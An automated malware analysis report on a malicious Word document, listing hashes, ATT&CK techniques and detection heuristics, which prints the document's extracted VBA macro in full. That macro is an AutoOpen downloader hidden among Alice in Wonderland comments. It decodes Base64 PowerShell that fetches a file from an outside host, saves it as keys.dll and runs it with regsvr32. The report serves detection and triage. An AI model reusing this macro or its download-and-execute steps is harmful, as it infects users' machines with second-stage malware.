Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1cfc7a39dce2399…

MALICIOUS

Office (OLE)

69.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: b4e57e935cd16847fef1d84b9c75bc12 SHA-1: 4d3f62f52cf9d7b60d376dc930c2c72b2b80e8cd SHA-256: f1cfc7a39dce2399d58e5e94becf888e2e821349d37b6963ca19928db4898368
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes a Base64-decoded Shell command stager that attempts to download a file named 'keys.dll' to the user's profile directory using PowerShell. This indicates the document is designed to act as a downloader for a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-7615216-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7615216-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3610 bytes
SHA-256: bd172b446dc699d45cb0473f99fbde5373b83f401223c73f78a2cbd62cf221f8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function LZF_10386BD6A077A84794ECB6003ED1EC584F6B4B3C(data, encoder)
    With CreateObject("Msxml2.DOMDocument").CreateElement("tmp")
        .dataType = encoder
        .Text = data
        LZF_10386BD6A077A84794ECB6003ED1EC584F6B4B3C = .nodeTypedValue
    End With
End Function

Sub AutoOpen()
'There was nothing so VERY remarkable in that; nor did Alice
'think it so VERY much out of the way to hear the Rabbit say to
'itself, `Oh dear!  Oh dear!  I shall be late!'  (when she thought
'it over afterwards, it occurred to her that she ought to have
'wondered at this, but at the time it all seemed quite natural);
'but when the Rabbit actually TOOK A WATCH OUT OF ITS WAISTCOAT-
'POCKET, and looked at it, and then hurried on, Alice started to
'her feet, for it flashed across her mind that she had never
'before seen a rabbit with either a waistcoat-pocket, or a watch to
'take out of it, and burning with curiosity, she ran across the
'field after it, and fortunately was just in time to see it pop
'down a large rabbit-hole under the hedge.
Dim fso As Object
'Either the well was very deep, or she fell very slowly, for she
'had plenty of time as she went down to look about her and to
'wonder what was going to happen next.  First, she tried to look
'down and make out what she was coming to, but it was too dark to
'see anything; then she looked at the sides of the well, and
'noticed that they were filled with cupboards and book-shelves;
'here and there she saw maps and pictures hung upon pegs.  She
'took down a jar from one of the shelves as she passed; it was
'labelled `ORANGE MARMALADE', but to her great disappointment it
'was empty:  she did not like to drop the jar for fear of killing
'somebody, so managed to put it into one of the cupboards as she
'fell past it.
LZF_9E1FB69CF9A45DFCAF86FDCFEBA73829F1A04D08 = LZF_10386BD6A077A84794ECB6003ED1EC584F6B4B3C("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAlAFUAVQBVAFUAJQAiACAALQBPAHUAdABGAGkAbABlACAAJABFAE4AVgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQBcAGsAZQB5AHMALgBkAGwAbAAiAA==", "bin.base64")
'Down, down, down.  Would the fall NEVER come to an end!  `I
'wonder how many miles I've fallen by this time?' she said aloud.
'`I must be getting somewhere near the centre of the earth.  Let
'me see:  that would be four thousand miles down, I think--' (for,
'you see, Alice had learnt several things of this sort in her
'lessons in the schoolroom, and though this was not a VERY good
'opportunity for showing off her knowledge, as there was no one to
'listen to her, still it was good practice to say it over) `--yes,
'that 's about the right distance--but then I wonder what Latitude
'or Longitude I've got to?'  (Alice had no idea what Latitude was,
'or Longitude either, but thought they were nice grand words to
'say.)

Shell Replace(LZF_9E1FB69CF9A45DFCAF86FDCFEBA73829F1A04D08, "%UUUU%", "khp89wc.com/xvrr7zok/6x2jrg.php?l=gye3.cab")
Shell LZF_10386BD6A077A84794ECB6003ED1EC584F6B4B3C("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAANQAwAAoAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgACQAZQBuAHYAOgBVAHMAZQByAHAAcgBvAGYAaQBsAGUAXABrAGUAeQBzAC4AZABsAGwAIgA=", "bin.base64"), 0

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.